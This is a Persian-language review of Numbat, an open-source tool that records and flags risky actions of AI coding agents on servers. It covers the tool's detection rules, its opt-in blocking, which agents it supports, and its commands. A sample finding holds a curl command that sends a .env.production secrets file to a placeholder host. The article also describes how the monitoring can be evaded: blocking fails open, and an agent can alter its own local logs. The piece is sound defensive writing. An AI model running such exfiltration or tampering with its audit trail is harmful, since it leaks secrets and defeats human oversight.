نظارت بر فعالیت AI agents با ابزار متنباز Numbat
ابزار Numbat برای رصد دقیق عملکرد AI coding agents روی سرور طراحی شده است. این ابزار با تحلیل فایلهای session، دسترسیهای غیرمجاز و رفتارهای مشکوک را شناسایی میکند.
Numbat چیست
Numbat به شما امکان میدهد تا فعالیتهای یک AI agent را روی دستگاه تحت مالکیت خود مشاهده کنید. این ابزار، callbackهای hook و فایلهای session که coding agentها از قبل تولید میکنند را میخواند، آنها را به یک فرمت رویداد واحد استانداردسازی میکند و با قوانینی که بر اساس رفتارهای خاص (مانند خواندن یک SSH private key یا انتقال مستقیم خروجی یک دانلود به shell) فعال میشوند، تطبیق میدهد. Perplexity این ابزار را تحت مجوز Apache 2.0 بهصورت متنباز منتشر کرد و اولین نسخه تگشده آن در تاریخ 29 July 2026 عرضه شد.
تمام مطالب زیر از مخزن پروژه و مستندات آن استخراج شده و در تاریخ 2 August 2026 مطالعه شده است. هر جا Perplexity ادعایی مطرح کرده، در این متن به آن اشاره شده است. این یک راهنمای نصب نیست، زیرا مخزن پروژه بسیار جدید است و دستورات آن تغییر خواهند کرد.
مشکل: هیچکس فعالیتهای عامل را ثبت نمیکند
یک عامل برنامهنویسی روی VPS شما دستورات shell را اجرا میکند، فایلها را میخواند، فایل مینویسد و اتصالات شبکه برقرار میکند؛ همهٔ اینها با کاربری انجام میشود که شما در اختیار آن قرار دادهاید. تاریخچهٔ shell شما هیچکدام از این فعالیتها را ثبت نمیکند، زیرا عامل در shell شما تایپ نمیکند. sshd ورود شما را ثبت میکند و هیچچیزی از تصمیمات بعدی مدل را ضبط نمیکند. /var/log/auth.log نیز تا زمانی که چیزی به sudo دسترسی پیدا نکند، ساکت میماند. عامل رونوشت مخصوص به خود را نگه میدارد، اما آن فایل در دایرکتوری نشست (session) عامل قرار دارد، فرمت آن در نسخههای مختلف تغییر میکند و خودِ پردازش عامل میتواند در آن بنویسد.
بنابراین وقتی کسی میپرسد که آیا عامل در سهشنبهٔ گذشته .env.production را خوانده است یا خیر، پاسخ صادقانه در اکثر سرورها این است که شما نمیتوانید متوجه شوید. این شکاف، دلیلی است که این پروژه وجود دارد.
ادعای Perplexity درباره عملکرد Numbat
فایل README این ابزار را بهعنوان «قابلیت مشاهدهٔ endpoint بر فعالیتهای عامل هوش مصنوعی، همراه با تشخیص محلی، مسدودسازی اختیاری پیش از اقدام و بازسازی قانونی» توصیف میکند. منظور از endpoint در اینجا ماشینی است که عامل روی آن اجرا میشود، نه یک تجهیز شبکه که از بیرون نظارت میکند. اینها قابلیتهای مجزایی هستند و وزن متفاوتی دارند.
تشخیص روی خود دستگاه انجام میشود. قوانین با استفاده از CEL (زبان عبارتهای مشترک) نوشته شده و بهصورت محلی ارزیابی میشوند؛ همچنین از قوانین توالی چندمرحلهای و پشتیبانی از قوانین شخصیسازیشده در قالب YAML برخوردار است. برای فعال شدن یک قانون، هیچ دادهای نباید از ماشین خارج شود.
مسدودسازی، اختیاری و محدود است. این قابلیت تنها از طریق هوکهای همگام پیش از اقدام (synchronous pre-action hooks) و فقط روی عاملهایی که چنین هوکی را ارائه میدهند کار میکند و تا زمانی که آن را فعال نکنید، خاموش است.
بازسازی پس از وقوع حادثه انجام میشود. numbat scan آرتیفکتهای نشست (session artifacts) را که عامل قبلاً روی دیسک نوشته است تجزیه میکند، بنابراین میتوانید فعالیتهای پیش از نصب ابزار را بررسی کنید. این پروژه در مورد این ادعا محتاط است: «بازسازی دادههای ذخیرهشده (at-rest)، به معنای تصویربرداری از دیسک یا حافظه نیست و نمیتواند فعالیتهایی را که عامل ذخیره نکرده است، بازیابی کند.»
خروجی ابزار به فرمت NDJSON (JSON محدودشده با خط جدید) نسخهبندیشده است که شامل رویدادها، یافتهها، تصمیمات اعمالشده، شاخصها و خلاصههای اسکن است و تا نسخه v0.1.2، از طرح نسخه 0.2.0 استفاده میکند. رکوردها به stdout یا یک فایل محلی و بهصورت اختیاری از طریق HTTP به یک جمعکننده (collector) که خودتان اجرا میکنید، ارسال میشوند. این ابزار بهعنوان یک فایل باینری استاتیک Go که بدون cgo ساخته شده، برای macOS، Linux و Windows روی معماریهای amd64 و arm64 عرضه میشود؛ بنابراین روی یک VPS لینوکسی، تنها یک فایل است و نیازی به نصب هیچ runtime پیشنیازی ندارد.
Numbat دقیقاً چه agentهایی را میتواند ببیند؟
ماتریس پوشش در docs/agent-coverage.md فهرست معتبر است و یکدست نیست. پروژه بهجای پنهان کردن این موضوع، آن را بهصراحت بیان میکند. Claude Code، Codex، Gemini CLI، Cursor و GitHub Copilot CLI هم دارای اسکن artifact و هم قابلیت live capture با استفاده از یک pre-action hook هستند. OpenClaw از نسخه 2026.7.1 به بعد، یک پلاگین بومی (native) دریافت میکند. بخش بزرگی از ورودیها به عنوان deferred علامتگذاری شدهاند؛ این یعنی مسیر live hook وجود دارد اما parser مربوط به artifact موجود نیست. دلیل این امر اغلب آن است که آن agent تاریخچه خود را در یک فایل SQLite با استفاده از write-ahead log ذخیره میکند که خواندن آن در حین اجرای agent ایمن نیست. در تاریخ 2 August 2026، زمانی که ماتریس خوانده شد، OpenCode و Cline در این گروه قرار داشتند.
پیش از آنکه برنامهای برای استفاده از این ابزار بریزید، ردیف مربوط به agent خود را بررسی کنید؛ زیرا عبارت "پشتیبانیشده" تقریباً در هر سطر معنای متفاوتی دارد.
نمای یک تشخیص
قوانین دارای شناسههایی هستند که هدف آنها را مشخص میکنند. secrets.read_private_key کلید SSH، اعتبارنامههای AWS، فایل پیکربندی kube یا ورود به رجیستری بسته را پوشش میدهد. exec.download_pipe_shell زمانی فعال میشود که خروجی curl یا wget به یک مفسر پایپ (pipe) شود. privilege.elevated_shell درخواست برای یک shell روت تعاملی از طریق sudo، doas، su یا pkexec را شناسایی میکند. impact.cryptomining_launch با باینریها و نامهای ایمیج شناختهشدهٔ استخراجکنندههای رمزارز (miner) مطابقت دارد.
قوانین توالی (Sequence rules)، رویدادها را در یک نشست واحد به هم متصل میکنند. chain.secret_read_then_egress نیازمند خواندن یک فایل حاوی اسرار و به دنبال آن اجرای دستوری است که دادهها را به خارج منتقل میکند. فایل README یافتهٔ زیر را از یک بازپخش کنترلشده از دو callback پیشاقدام Claude Code منتشر میکند، نه از یک حادثهٔ واقعی. این گزارش در اینجا به فیلدهای مهم محدود شده است:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}به "confidence": "medium" که در داخل رکورد قرار دارد توجه کنید و به آنچه پروژه دربارهٔ کل این کلاس از خروجیها میگوید دقت کنید: «یافتهها، تطبیقهای قوانین هستند، نه اثبات نفوذ.» یک اسکریپت استقرار (deploy script) که یک کلید را میخواند و سپس یک artifact ساخت را آپلود میکند، با همان قانون توالی مطابقت خواهد داشت. تطبیق صحیح است اما هشدار اشتباه است؛ این وضعیت عادی برای هر ابزار تشخیصی است که تاکنون اجرا کردهاید.
مسدودسازی بهصورت پیشفرض غیرفعال است و سیستم در حالت fail-open عمل میکند
هر قانونی که Numbat ارائه میدهد، صرفاً در حالت نظارتی (monitor) است. تبدیل یک قانون به حالت مسدودسازی (block) نیازمند اقدام آگاهانه است: محتوای کامل YAML قانون را در دایرکتوری خود کپی کنید، همان id را حفظ کنید، enforce: true را اضافه کنید، نسخه را ارتقا دهید و سپس آن سیاست را اعتبارسنجی و نصب کنید.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceاکنون به بخشی میرسیم که تعیین میکند تا چه حد باید به این سیستم اعتماد کرد. پاسخ deny در Numbat به agent بازگردانده میشود و این agent است که در واقع از اجرای فراخوانی ابزار (tool call) خودداری میکند. راهنمای اعمال سیاست (enforcement guide) بهصراحت بیان میکند که در صورت بروز مشکل برای خود Numbat چه اتفاقی میافتد: «payloadهای ناقص، خطاهای ارزیابی مرتبط، panicها و شکست در خروجی، باعث سرکوب پاسخ deny در Numbat میشوند.» ورودی hook به 4 MiB محدود شده است و ورودیهای بزرگتر نیز همین مسیر را طی میکنند.
این راهنما همچنین در مورد محدودیت پاسخ deny که با موفقیت اعمال میشود، صریح است: «حالت fail-open به این معناست که Numbat پاسخ deny خود را ارسال نمیکند. این موضوع تضمین نمیکند که ابزار حتماً اجرا شود: میزبان (host) ممکن است همچنان درخواست را پردازش کند، آن را رد کند، با timeout مواجه شود یا hook یا سیاست دیگری را اعمال نماید.»
بنابراین، اعمال سیاست در اینجا یک محافظ (guardrail) است، نه یک مرز نفوذناپذیر. اگر پردازش دچار crash شود، آن اقدام توسط Numbat مسدود نمیشود؛ زیرا ابزار نظارتی که با هر خطای کوچک، agent شما را متوقف کند، در کمتر از یک هفته حذف خواهد شد. این معامله منطقی است. فقط مدل امنیتی خود را بهگونهای طراحی نکنید که فرض کند پاسخ deny همیشه دریافت میشود.
جایگاه Numbat در کنار ابزارهای فعلی شما
ابزار Numbat روی endpoint و درون درخت پردازش خودِ agent اجرا میشود و بهطور پیشفرض در ~/.numbat/records.ndjson مینویسد. agentای که با کاربر شما اجرا میشود، میتواند آن فایل را بخواند و همچنین آن را ویرایش کند. ارزش مسیر حسابرسی (audit trail) دقیقاً به اندازه ایزولاسیون پیرامون آن است؛ بنابراین تمام کنترلهایی که هماکنون دارید، باید پیش از این ابزار قرار گیرند، نه پس از آن.
اختصاص یک VM یکبارمصرف به agent کدنویسی محدودهای را که یک اجرای مخرب میتواند به آن دسترسی داشته باشد، تعیین میکند. استفاده از یک کاربر با حداقل دسترسی روی VPS باعث میشود agent نتواند به فایلهایی که به آنها نیازی ندارد، دسترسی پیدا کند. نگهداری اعتبارنامهها خارج از context agent باعث میشود تطابق secrets.read_private_key به اندازهای نادر باشد که هنگام وقوع، ارزش بررسی داشته باشد. همچنین sandboxای که برای Claude Code روی یک VPS تنظیم کردهاید، همچنان وظیفه مهار کردن را بر عهده دارد. مهار کردن، دسترسی یک اجرای مخرب را محدود میکند، در حالی که مستندسازی دلایل ساختار فعلی کد باعث میشود agent کمتر رفتارهای غیرمنتظرهای داشته باشد که شما را به بررسی لاگ وادار کند.
آنچه Numbat اضافه میکند، ثبت وقایع است؛ بنابراین این سوابق را به جایی بفرستید که agent به آن دسترسی ندارد. numbat ship و HTTP sink برای همین منظور وجود دارند. داشتن یک کپی از جریان داده روی دستگاه دوم، تفاوت بین یک فایل لاگ ساده و مدارک معتبر است. مدل رویدادها همچنین شامل فیلدهای MCP (پروتکل context مدل) است؛ بنابراین فراخوانی ابزارهایی که از طریق یک سرور MCP که روی VPS میزبانی میکنید خارج میشوند، در همان جریانی قرار میگیرند که دستورات shell محلی ثبت میشوند. این موضوع اهمیت دارد، زیرا آن مسیر برای هر چیزی که فقط bash را مانیتور میکند، نامرئی است. همین نقطه کور در مورد یک نمونه SearXNG که به عنوان backend جستجوی agent متصل شده نیز صدق میکند؛ جایی که ریسک به شکل متن غیرقابلاعتماد صفحات وب وارد context مدل میشود، نه به شکل دستوری که هر قانونی بتواند آن را شناسایی کند.
ابتدا به صورت فقطخواندنی امتحان کنید
یک نسخه مشخص (pinned) را نصب کنید. برای go install به نسخه Go 1.26.5 یا جدیدتر نیاز است و اگر تمایلی به بیلد از روی سورس ندارید، صفحه releases شامل باینریهای از پیش ساختهشده به همراه چکسامهای SHA-256 است.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scanابزار numbat agents ایجنتهای نصبشده روی سیستم را شناسایی میکند. numbat scan آرتیفکتهای نشست (session) موجود روی دیسک را تحلیل کرده و رکوردها را چاپ میکند. در فایل README ذکر شده است که این دستورات «هیچ هوک یا تغییری در پیکربندی ایجنت ایجاد نمیکنند» و numbat «هرگز ایجنتها یا دستورات یافتشده در آرتیفکتها را اجرا نمیکند و درخواستهای خروجی را تنها به مقصدهای HTTP پیکربندیشده ارسال میکند». اسکن به صورت فقطخواندنی و با حذف موارد محرمانه انجام میشود و خروجی عادی رکوردها هرگز شامل متن کامل و خام (raw transcript) نیست.
کپچر زنده (Live capture) گام بعدی است و این عملیات پیکربندی ایجنت را تغییر میدهد:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all رویدادها، یافتهها، شاخصها و تصمیمات اجرایی مربوطه را در ~/.numbat/records.ndjson مینویسد. دو هشدار مستقیماً از سوی پروژه مطرح شده است: هوکها ممکن است پیش از اجرا نیاز به تأیید اعتماد (trust) در داخل ایجنت داشته باشند و این اعتماد باید پس از تغییر فلگهایی مانند --enforce مجدداً بررسی شود. همچنین hook status «پیکربندی را تأیید میکند، نه اجرا یا تحویل را»؛ بنابراین مشاهده وضعیت سالم (healthy) به معنای رسیدن رکوردها به مقصد نیست.
چرا مخزنی به این تازگی نباید به عنوان وابستگی (dependency) استفاده شود
نسخههای عمومی منتشرشده شامل v0.1.1 در تاریخ 29 July 2026 و v0.1.2 در تاریخ 1 August 2026 هستند. این مخزن در زمان نگارش این مطلب در تاریخ 2 August 2026، دارای 597 ستاره بود. چنین رشد سریعی در اعداد، بازتابدهنده مخاطبان Perplexity است، نه لزوماً نشاندهنده پایداری و کیفیت کد. ستاره به این معناست که شخصی صفحه را ذخیره کرده تا بعداً آن را بررسی کند.
شماره نسخه بهخوبی نشاندهنده وضعیت فعلی پروژه است. یادداشتهای نسخه v0.1.2 عمدتاً شامل اصلاحات مربوط به حذف اطلاعات حساس (redaction)، بستهبندی case و استانداردسازی تلهمتری است. باگهای مربوط به حذف اطلاعات، نقصهای قابلانتظاری در مراحل اولیه ابزاری هستند که وظیفهاش خواندن ایمن رونوشتهای سایر برنامههاست. باگهای بیشتری در راه خواهند بود، زیرا ورودیها از دهها عامل مختلف میآیند که هر کدام فرمت خود را طبق زمانبندی مستقل تغییر میدهند.
دو قاعده عملیاتی در اینجا مطرح است. در هر پروژهای که نگهداری میکنید، همیشه تگ را ثابت (pin) کنید و هرگز از @latest استفاده نکنید. همچنین، تا زمانی که طرحواره (schema) رکوردها به ثبات نرسیده است، با این ابزار به چشم یک وسیله در حال ارزیابی نگاه کنید، نه یک کنترلکننده که به آن وابستگی دارید.
FAQ
آیا Numbat دستورات خطرناک ایجنتهای هوش مصنوعی را مسدود میکند؟
فقط در صورتی که خودتان انتخاب کنید و تنها بر اساس بهترین تلاش (best effort). تمام قوانینی که Numbat ارائه میدهد، صرفاً جهت مانیتورینگ هستند. برای مسدودسازی، باید YAML مربوط به قانون را در دایرکتوری خود کپی کنید، شناسه (id) آن را حفظ کنید، enforce: true را اضافه کنید، نسخه را ارتقا دهید و hook را با --enforce نصب کنید. حتی در این حالت نیز، مسدودسازی (deny) پاسخی است که به ایجنت بازگردانده میشود و این خودِ ایجنت است که از اجرای فراخوانی سر باز میزند. مستندات پروژه به رفتار fail-open اشاره دارند: payloadهای ناقص، خطاهای ارزیابی، panicها و شکست در خروجی، همگی باعث نادیده گرفته شدن مسدودسازی میشوند. از این ابزار به عنوان یک لایه محافظتی استفاده کنید، نه به عنوان تنها مرز امنیتی خود.
Numbat از کدام ایجنتهای هوش مصنوعی پشتیبانی میکند؟
پوششدهی برای هر ایجنت متفاوت است و در docs/agent-coverage.md در مخزن پروژه فهرست شده است. در تاریخ 2 August 2026، ابزارهای Claude Code، Codex، Gemini CLI، Cursor و GitHub Copilot CLI هم دارای قابلیت اسکن آرتیفکت و هم ضبط زنده (live capture) بودند و OpenClaw از نسخه 2026.7.1 دارای یک پلاگین بومی است. بسیاری از ایجنتهای دیگر با مسیر hook زنده فهرست شدهاند اما هنوز parser آرتیفکت ندارند؛ دلیل آن معمولاً این است که تاریخچه نشست (session history) آنها در یک دیتابیس SQLite قرار دارد که خواندن آن در حین اجرای ایجنت ایمن نیست. ردیف مربوط به ایجنت خود را مطالعه کنید، زیرا واژه "پشتیبانیشده" در آنجا سطوح مختلفی از عملکرد را پوشش میدهد.
آیا ایجنت میتواند سوابق Numbat را دستکاری کند؟
بله، اگر ایجنت با همان کاربر اجرا شود. سوابق بهطور پیشفرض در ~/.numbat/records.ndjson روی همان ماشینی ذخیره میشوند که ایجنت روی آن اجراست، بنابراین هر چیزی که دسترسی نوشتن به آن مسیر داشته باشد، میتواند آنها را تغییر دهد یا حذف کند. جریان داده را با استفاده از numbat ship یا HTTP sink به یک جمعکننده (collector) که ایجنت به آن دسترسی ندارد ارسال کنید و فایل محلی را فقط به عنوان یک نسخه کمکی نگه دارید. به همین دلیل است که این ابزار مکمل ایزولهسازی است، نه جایگزین آن. ایجنتی که در یک VM یکبارمصرف و تحت یک کاربر با حداقل دسترسی محدود شده باشد، دسترسی بسیار کمتری به مسیر حسابرسی (audit trail) خود خواهد داشت.
آیا Numbat برای سرورهای عملیاتی (production) آماده است؟
به عنوان یک ابزار کنترلی که به آن وابسته باشید، خیر. اولین نسخه عمومی v0.1.1 در تاریخ 29 July 2026 و نسخه v0.1.2 در تاریخ 1 August 2026 منتشر شد، بنابراین flagها و طرحواره سوابق (record schema) همچنان در حال تغییر هستند. اجرای numbat agents و numbat scan روی یک سیستم، عملیاتی فقطخواندنی (read-only) و کمخطر است و به شما نشان میدهد که ایجنتهایتان چه چیزی روی دیسک باقی گذاشتهاند. نصب hookهای اعمال محدودیت روی سروری که اهمیت دارد، تصمیمی متفاوت است و نیازمند استفاده از یک تگ ثابت (pinned tag) و برنامهریزی برای شرایطی است که hook به درستی عمل نمیکند.